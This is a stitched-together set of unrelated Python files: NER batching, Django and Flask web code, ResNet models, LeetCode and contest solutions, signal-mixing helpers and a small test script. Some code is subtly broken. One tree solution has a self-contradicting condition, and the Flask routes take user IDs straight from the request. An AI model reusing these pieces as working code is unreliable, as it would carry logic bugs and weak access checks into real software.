			.reset_index().rename(columns = {0 : 'sentence'})['sentence']
		self.sentences = [s for s in self.grouped]

	def agg_func(self, input):
		"""
		agg_func - function to group words/tags of sentences together
		"""
		print(input)
		return [(w, p, t) for w, p, t in zip(input['Word'].values.tolist(),
			input['POS'].values.tolist(), input['Tag'].values.tolist())]

	def pad_sentences(self, input):
		input = [[self.word2dix[w[0]] for w in s] for s in input]
		return pad_sequences(maxlen = self.maxlen, sequences = input, padding = 'post', value = 0)

	def generate_labels(self, input):
		input = [[self.tag2dix[w[2]] for w in s] for s in input]
		input = pad_sequences(maxlen = self.maxlen, sequences = input, padding = 'post', value = self.tag2dix['O'])

		return np.array([to_categorical(x, num_classes = self.n_tags) for x in input])
	def __len__(self):
		"""
		__len__ - function to compute length of SentenceGetter
		"""
		return int(self.grouped.shape[0] // self.batch_size)

	def __getitem__(self, index):
		if index == 0 and self.shuffle:
		# shuffle dataset for every iteration
			self.grouped = shuffle(self.grouped).reset_index()['sentence']

		# get batch of data
		sentences = self.grouped[index * self.batch_size : (index + 1) * self.batch_size]

		# generate sentences and labels
		labels = self.generate_labels(sentences)
		sentences = self.pad_sentences(sentences)

		return sentences, labels


"""Defines the URL patterns for the pizzas app"""

from django.urls import path

from . import views

app_name = 'pizzas'
urlpatterns = [
    path('', views.index, name="index"), # Home page
    path('pizzas/', views.pizzas, name='pizzas'), # Page that shows all pizzas
    path('pizzas/<int:pizza_id>/', views.toppings, name='toppings'), # Page that show all toppings for a pizza
]


import math
class Vector:
  '''
  HOW TO USE Vector class

  vector=nhk23.Vector() # make instance
  move,rot = vector.calc_vector(x,y,rotation)  # calc.vector using  x,y,rotation

  ********
  move : [a1,a2,a3,a4] -1~1
  rot : [ROT,ROT,ROT,ROT] -1~1
  ********
  '''
  def __init__ (self):
    self.move =[0]
    self.rot =[0]

  def calc_move(self,x,y):
    r = math.sqrt(x**2 + y**2)
    if abs(r)<0.2:
      r=0
    r = max(-1, min(r, 1))
    theta = math.atan2(y, x) # rad

    x = r * math.cos(theta)/math.sqrt(2)
    y = r * math.sin(theta)/math.sqrt(2)
    self.move = [x - y, x + y, -x + y, -x - y]
    return

  def calc_rot(self,rot):
    if abs(rot)<0.2:
      rot=0
    rot = max(-1, min(rot, 1))
    self.rot = [rot,rot,rot,rot]
    return

  def calc_vector(self,x,y,rot):
    self.calc_move(x,y)
    self.calc_rot(rot)
    return self.move , self.rot

vector=Vector()
move,rot = vector.calc_vector(0.8,0.8,0)
print(move)
print(rot)


T = int(input())
for tc in range(1, T+1):
    a, b = map(int, input().split())
    A, B = divmod(a, b)
    res = ''
    if B:
        vl = [0 for i in range(b)]
        vl2 = []
        tmp = -1
        while True:
            t1, t = divmod(10*B, b)
            if t == 0:
                break
            if not vl[B]:
                vl[B] = t
                vl2.append(str(t1))
                B = t

            else:
                tmp = vl2.index(str(t1))
                break
        if tmp != -1:
            r = ['.']
            for i in range(tmp):
                r.append(vl2[i])
            r1 = []
            for i in range(tmp, len(vl2)):
                r1.append(vl2[i])
            res = (str(A) +''.join(r) + '(' +''.join(r1)+')')
        else:
            res = (round(a/b, 1))
    else:
        res = str(A)
    print('#{} {}'.format(tc, res))


import torch
from torch import nn
DEVICE = 'cuda' if torch.cuda.is_available() else 'cpu'
from my_functions import *

class BasicBlock(nn.Module):
    expansion = 1
    def __init__(self, in_channels, inner_channels, stride = 1, projection = None):
        super().__init__()

        self.residual = nn.Sequential(nn.Conv2d(in_channels, inner_channels, 3, stride=stride, padding=1, bias=False),
                                      nn.BatchNorm2d(inner_channels),
                                      nn.ReLU(inplace=True),
                                      nn.Conv2d(inner_channels, inner_channels * self.expansion, 3, padding=1, bias=False),
                                      nn.BatchNorm2d(inner_channels)
                                      )
        self.projection = projection
        self.relu = nn.ReLU(inplace=True)

    def forward(self, x):

        residual = self.residual(x)

        if self.projection is not None:
            shortcut = self.projection(x)
        else:
            shortcut = x

        out = self.relu(residual + shortcut)
        return out

class Bottleneck(nn.Module):

    expansion = 4
    def __init__(self, in_channels, inner_channels, stride = 1, projection = None):
        super().__init__()

        self.residual = nn.Sequential(nn.Conv2d(in_channels, inner_channels, 1, bias=False),
                                      nn.BatchNorm2d(inner_channels),
                                      nn.ReLU(inplace=True),
                                      nn.Conv2d(inner_channels, inner_channels, 3, stride=stride, padding=1, bias=False),
                                      nn.BatchNorm2d(inner_channels),
                                      nn.ReLU(inplace=True),
                                      nn.Conv2d(inner_channels, inner_channels * self.expansion, 1, bias=False),
                                      nn.BatchNorm2d(inner_channels * self.expansion))

        self.projection = projection
        self.relu = nn.ReLU(inplace=True)

    def forward(self, x):
        residual = self.residual(x)

        if self.projection is not None:
            shortcut = self.projection(x)
        else:
            shortcut = x

        out = self.relu(residual + shortcut)
        return out

class ResNet(nn.Module):
    def __init__(self, block, num_block_list, num_classes = 120, zero_init_residual = True):
        super().__init__()

        self.in_channels = 64

        self.conv1 = nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3, bias=False)
        self.bn1 = nn.BatchNorm2d(64)
        self.relu = nn.ReLU(inplace=True) # 좀더 메모리 효율적
        self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)
        self.layer1 = self.make_layers(block, 64, num_block_list[0], stride=1)
        self.layer2 = self.make_layers(block, 128, num_block_list[1], stride=2)
        self.layer3 = self.make_layers(block, 256, num_block_list[2], stride=2)
        self.layer4 = self.make_layers(block, 512, num_block_list[3], stride=2)
        self.avgpool = nn.AdaptiveAvgPool2d((1, 1))
        self.fc = nn.Linear(512 * block.expansion, num_classes)

        for m in self.modules():
            if isinstance(m, nn.Conv2d):
                nn.init.kaiming_normal_(m.weight, mode="fan_out", nonlinearity="relu")

        # Zero-initialize the last BN in each residual branch,
        # so that the residual branch starts with zeros, and each residual block behaves like an identity.
        # This improves the model by 0.2~0.3%p according to https://arxiv.org/abs/1706.02677
        if zero_init_residual:
            for m in self.modules():
                if isinstance(m, block):
                    nn.init.constant_(m.residual[-1].weight, 0)

    def make_layers(self, block, inner_channels, num_blocks, stride = 1):

        if stride != 1 or self.in_channels != inner_channels * block.expansion:
            # stride = 1 이여도 채널 수가 다르면 (layer1의 첫번째 BottleNeck) projection 해야함 (이 때는 resoltion은 그대로, 채널 수만 늘어남)
            projection = nn.Sequential(
                nn.Conv2d(self.in_channels, inner_channels * block.expansion, 1, stride=stride, bias=False),
                nn.BatchNorm2d(inner_channels * block.expansion)) # 점선 connection 임
        else:
            projection = None

        layers = []
        layers += [block(self.in_channels, inner_channels, stride, projection)] # projection은 첫 block에서만
        self.in_channels = inner_channels * block.expansion
        for _ in range(1, num_blocks):
            layers += [block(self.in_channels, inner_channels)]

        return nn.Sequential(*layers)

    def forward(self, x):
        x = self.conv1(x)
        x = self.bn1(x)
        x = self.relu(x)
        x = self.maxpool(x)

        x = self.layer1(x)
        x = self.layer2(x)
        x = self.layer3(x)
        x = self.layer4(x)

        x = self.avgpool(x)
        x = torch.flatten(x, 1)
        x = self.fc(x)
        return x

def ResNet50():
    return ResNet(Bottleneck, [3,4,6,3])

def ResNet101():
    return ResNet(Bottleneck, [3, 4, 23, 3])

def ResNet152(**kwargs):
    return ResNet(Bottleneck, [3, 8, 36, 3])

# class PretrainedResNet(nn.Module):

#     def __init__(self, pretrained_resnet, n_classes, freeze=True):
#         super().__init__()
#         self.pretrained_resnet = pretrained_resnet
#         if freeze: # freeze
#             for p in pretrained_resnet.parameters():
#                 p.requires_grad = False
#         out_features = self.pretrained_resnet.fc.out_features
#         # 학습시킬 파라미터
#         self.fc1 = nn.Linear(out_features, 1024)
#         self.fc2 = nn.Linear(1024, n_classes)

#     def forward(self, x):
#         # 전처리된 이미지를 pretrained 모델에 통과시키기
#         x = self.pretrained_resnet(x)
#         # 추가적인 레이어에 통과시켜서 최종 클래스 예측을 만들기
#         x = nn.functional.relu(self.fc1(x))
#         x = self.fc2(x)
#         return x

class PretrainedResNet(nn.Module):

    def __init__(self, pretrained_resnet, n_classes, freeze=True):
        super().__init__()
        self.pretrained_resnet = pretrained_resnet
        if freeze: # freeze
            for name, child in self.pretrained_resnet.named_children():
                for param in child.parameters():
                    if name not in ['fc']:
                        param.requires_grad = False
        out_features = self.pretrained_resnet.fc.out_features
        # 학습시킬 파라미터
        self.fc1 = nn.Linear(out_features, 1024)
        self.fc2 = nn.Linear(1024, n_classes)

    def forward(self, x):
        # 전처리된 이미지를 pretrained 모델에 통과시키기
        x = self.pretrained_resnet(x)
        # 추가적인 레이어에 통과시켜서 최종 클래스 예측을 만들기
        x = nn.functional.relu(self.fc1(x))
        x = self.fc2(x)
        return x

class PretrainedResNetFreeze(nn.Module):

    def __init__(self, pretrained_resnet, n_classes, freeze=True):
        super().__init__()
        self.pretrained_resnet = pretrained_resnet
        if freeze: # freeze
            for name, child in pretrained_resnet.named_children():
                if name in ['conv1', 'bn1', 'relu']:
                    for param in child.parameters():
                        param.requires_grad = False
        out_features = self.pretrained_resnet.fc.in_features
        # 학습시킬 파라미터
        self.fc1 = nn.Linear(out_features, 1024)
        self.fc2 = nn.Linear(1024, n_classes)

    def forward(self, x):
        # 전처리된 이미지를 pretrained 모델에 통과시키기
        x = self.pretrained_resnet.conv1(x)
        x = self.pretrained_resnet.bn1(x)
        x = self.pretrained_resnet.relu(x)

        # 추가적인 레이어에 통과시켜서 최종 클래스 예측을 만들기
        x = self.pretrained_resnet.maxpool(x)
        x = self.pretrained_resnet.layer1(x)
        x = self.pretrained_resnet.layer2(x)
        x = self.pretrained_resnet.layer3(x)
        x = self.pretrained_resnet.layer4(x)
        x = self.pretrained_resnet.avgpool(x)

        x = torch.flatten(x ,1)
        x = nn.functional.relu(self.fc1(x))
        x = self.fc2(x)
        return x

class CustomDenseNet169(nn.Module):
    def __init__(self, models, num_classes=120):
        super(CustomDenseNet169, self).__init__()
        self.densenet = models.densenet169(pretrained=True)
        num_features = self.densenet.classifier.in_features
        self.densenet.classifier = nn.Sequential(
            nn.Linear(num_features, num_classes)
        )

    def forward(self, x):
        return self.densenet(x)

# model = CustomDenseNet169().to(DEVICE)


#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。

百度百科中最近公共祖先的定义为：“对于有根树 T 的两个结点 p、q，最近公共祖先表示为一个结点 x，满足 x 是 p、q 的祖先且 x 的深度尽可能大（一个节点也可以是它自己的祖先）。”

例如，给定如下二叉树:  root = [3,5,1,6,2,0,8,null,null,7,4]

示例 1:

输入: root = [3,5,1,6,2,0,8,null,null,7,4], p = 5, q = 1
输出: 3
解释: 节点 5 和节点 1 的最近公共祖先是节点 3。

示例 2:

输入: root = [3,5,1,6,2,0,8,null,null,7,4], p = 5, q = 4
输出: 5
解释: 节点 5 和节点 4 的最近公共祖先是节点 5。因为根据定义最近公共祖先节点可以为节点本身。

说明:

所有节点的值都是唯一的。
p、q 为不同节点且均存在于给定的二叉树中。

来源：力扣（LeetCode）
链接：https://leetcode-cn.com/problems/er-cha-shu-de-zui-jin-gong-gong-zu-xian-lcof
著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。

"""

# Definition for a binary tree node.
class TreeNode:
    def __init__(self, x):
        self.val = x
        self.left = None
        self.right = None

class Solution:
    def lowestCommonAncestor(self, root: TreeNode, p: TreeNode, q: TreeNode) -> TreeNode:
        # 如果为空，后者两者其中有一个相等，那么就就返回，因为本身就可能就是 根节点
        if not root or root == p or root == q:
            return root
        # 如果判断其是否为左右子树
        l = self.lowestCommonAncestor(root.left, p, q)
        r = self.lowestCommonAncestor(root.right, p, q)
        # 如果左子树
        if not l:
            return r
        if not r:
            return l
        return root

from typing import Optional

class Solution1:
    def lowestCommonAncestor(self, root: 'TreeNode', p: 'TreeNode', q: 'TreeNode') -> 'TreeNode':
        # 这种情况处理的是 非结构化的 树结构同步

        # 1. 分别获取 root >>> ndoe 的path
        # 2. 双指针 从 根节点 判断共同的 数值，然后找到不相同的上一个 node 就是最近的公共节点。
        p_path = self.dfs(root,p,[])
        q_path = self.dfs(root,q,[])

        if p in q_path and p not in q_path:
            return p
        elif p not in q_path and p in q_path:
            return q
        else:
            num = min(len(q_path),len(p_path))
            res = root
            for i in range(1,num):
                if p_path[i]==q_path[i]:
                    res=p_path[i]
            return res

    # 找到root>>>node 的path
    def dfs(self,root:Optional[TreeNode],node:TreeNode,path:list[TreeNode]) -> list[TreeNode]:
        if root is None and node not in path:
            return []
        if node in path:
            return path

        path.append(root)

        return self.dfs(root.left,node,path[:]) or self.dfs(root.right,node,path[:])

算法分析和归类/树/二叉树的最近公共祖先.py

二叉树的最近公共祖先.py


from django.http import response
from django.test import TestCase
from django.urls import reverse
from django.db.models import QuerySet
from points.models import Points
from .factories import PointsFactory

class PointsListTestCase(TestCase):
    def test_open_list_success(self):
        point_1 = PointsFactory(name='Cool place', description='Visit any time')
        point_2 = PointsFactory()

        url = reverse('points-list')
        response = self.client.get(url)
        self.assertEqual(response.status_code, 200)
        points = response.context.get('points')
        self.assertIsInstance(points, QuerySet)

        self.assertEqual('Location - 1', points[1].location)
        self.assertEqual(points[0].description, 'Visit any time')

class PointsCreateTestCase(TestCase):
    def test_create_place_success(self):
        url = reverse('create-points')
        data = {
            'name': "Issyk-Kul",
            'location': "Kara-Kol region",
            'description': "Lake in KG"
        }
        response = self.client.post(url, data)
        points = Points.objects.last()
        self.assertEqual(points.name, "Issyk-Kul")


import numpy as np
from PIL import Image

def createImg():
    """
    Create 3 images of the same size: load two different images of the same
    size from files, and create a third image of noise,
    and then mix the 3 images.
    The images are centered and normalized, so
    store the means and standard deviations of the images for display later.
    """
    d = 3;
    #for each image, convert to 1d array  for mixing
    #need to center to zero for mixing

    #first image from file
    prfimg = Image.open('profilepic2.jpg')
    prfimg = prfimg.convert('L')
    #convert to centered normalized 2d array
    prfarr = np.asarray(prfimg)
    prfarr = prfarr - 127.0
    #get image size
    n1,n2 = prfarr.shape
    n = n1*n2

    #second image from file
    astimg = Image.open('ashitaka.jpeg')
    astimg = astimg.convert('L')
    #convert to centered normalized 2d array
    astarr = np.asarray(astimg)
    astarr = astarr - 127.0
    n1tmp, n2tmp = astarr.shape

    #third image of noise, make a centered normalized arra
    noisarr = 120*np.sqrt(np.abs(np.random.randn(n1,n2)))
    noisarr = noisarr - 127.0

    #for storing 1-d arrays for mixing
    s = np.zeros((d,n))
    x = np.zeros((d,n))

    assert n1 == n1tmp
    assert n2 == n2tmp

    #reshape to 1-d arrays and store
    s[0,:] = np.reshape(prfarr,(1,n))
    s[1,:] = np.reshape(astarr,(1,n))
    s[2,:] = np.reshape(noisarr,(1,n))

    #mixing array
    a = np.array([[1, 0.4, 0.4], [-0.8, 0.8, 0.4],[0.7, -0.5, 0.8]])

    #mix signals
    x = np.dot(a,s)

    #create lists of original and mixed images
    orig_images = []
    mixed_images = []
    for k in range(3):
        sarr = np.reshape(s[k,:], (n1,n2)) + 127.0
        orig_images.append(Image.fromarray(sarr))
        xarr = np.reshape(x[k,:], (n1,n2)) + 127.0
        mixed_images.append(Image.fromarray(xarr))

    return (orig_images,mixed_images)

def createSig():
    """
    create 2 1-d signals: one a modulated sinusoid, the other filtered noise,
    and mix them
    """
    n=1000
    s = np.zeros((2,n))
    t = np.arange(n)
    s[0,:] = np.sin(2*np.pi*t/50)*np.sin(2*np.pi*t/600);
    h = 1.75*np.convolve(np.ones(30)/30.0,np.ones(20)/20,mode='full')
    s[1,:] = np.convolve(np.random.randn(n),h,mode='same')

    #mixing array
    a = np.array([[1, 0.75], [1.75, -2]])
    x = np.dot(a,s)

    #create lists of original and mixed signals (1d numpy arrays)
    orig_signals = []
    mixed_signals = []
    for k in range(2):
        orig_signals.append(s[k,:])
        mixed_signals.append(x[k,:])

    return (orig_signals, mixed_signals)


from flask import *
from get_values import vol_response, get_volunteer_details, get_collections, enter_book
from datetime import datetime, date
from forms import *

volunteer_ui = Blueprint('volunteer_ui', __name__)

@volunteer_ui.route("/volunteer/<username>")
def volunteer_page(username):
    user_id = request.args.get('user_id')
    if session.get('logged_in') and session.get('role') == 'volunteer':
        details = get_volunteer_details(user_id)
        return render_template('roles/volunteer/volunteer_page.html', vol_details = details)
    else:
        return redirect(url_for('ui.error_page'))

@volunteer_ui.route("/volunteer/get_donors", methods=['POST'])
def get_donor_post():
    # number_of_donors = int(request.form['number_of_donors'])
    user_id = request.form['volunteer_id']
    from_date = request.form['from_date'].split('-')
    from_date = date(year=int(from_date[0]), month=int(from_date[1]), day=int(from_date[2]))
    to_date = request.form['to_date'].split('-')
    to_date = date(year=int(to_date[0]), month=int(to_date[1]), day=int(to_date[2]))

    # print(user_id, from_date, to_date)
    data = get_collections(user_id)
    ret_data = []
    for x in data:
        if from_date < x['start_date'] < to_date or from_date < x['end_date'] < to_date:
            x['start_date'] = str(x['start_date'])
            x['end_date'] = str(x['end_date'])
            ret_data.append(x)
    # print(data,'\n', ret_data)
    return json.dumps({
        'data': ret_data,
    })

@volunteer_ui.route('/volunteer/confirm_donation', methods=['GET', 'POST'])
def confirm_donation():
    volunteer_id = request.args.get('volunteer_id')
    if session['logged_in'] and session['role']=='volunteer':
        if request.method=='GET':
            return render_template('roles/volunteer/confirm_donation.html')
        elif request.method=='POST':
            donor_id = request.form.get('donor_id')
            book_name = request.form.get('book_name')
            isbn = request.form.get('isbn')
            enter_book(donor_id, book_name, isbn, volunteer_id)
            return "Success"
    else:
        return redirect(url_for('ui.error_page'))


#!/usr/bin/env python

"""
stdin --> stdout
args  --> stderr
env   --> exit_status

on linux run this manually as:

    #get stderr only:
        env -i a=b c=d echo -e 'ab\ncd' ./tested_by_test_executable.py 12 34 >/dev/null

    #get stdout only:
        env -i a=b c=d echo -e 'ab\ncd' ./tested_by_test_executable.py 12 34 2>/dev/null

    #get exit_status:
        echo $?

to understand what it does.
"""

import os
import sys

stdin = sys.stdin.read()
args = sys.argv[1:]
env = os.environ

sys.stdout.write( stdin )
sys.stderr.write( ', '.join(args) + '\n' )

if( env == { 'a':'b', 'c':'d'} ):
    sys.exit(0)
else:
    sys.exit(1)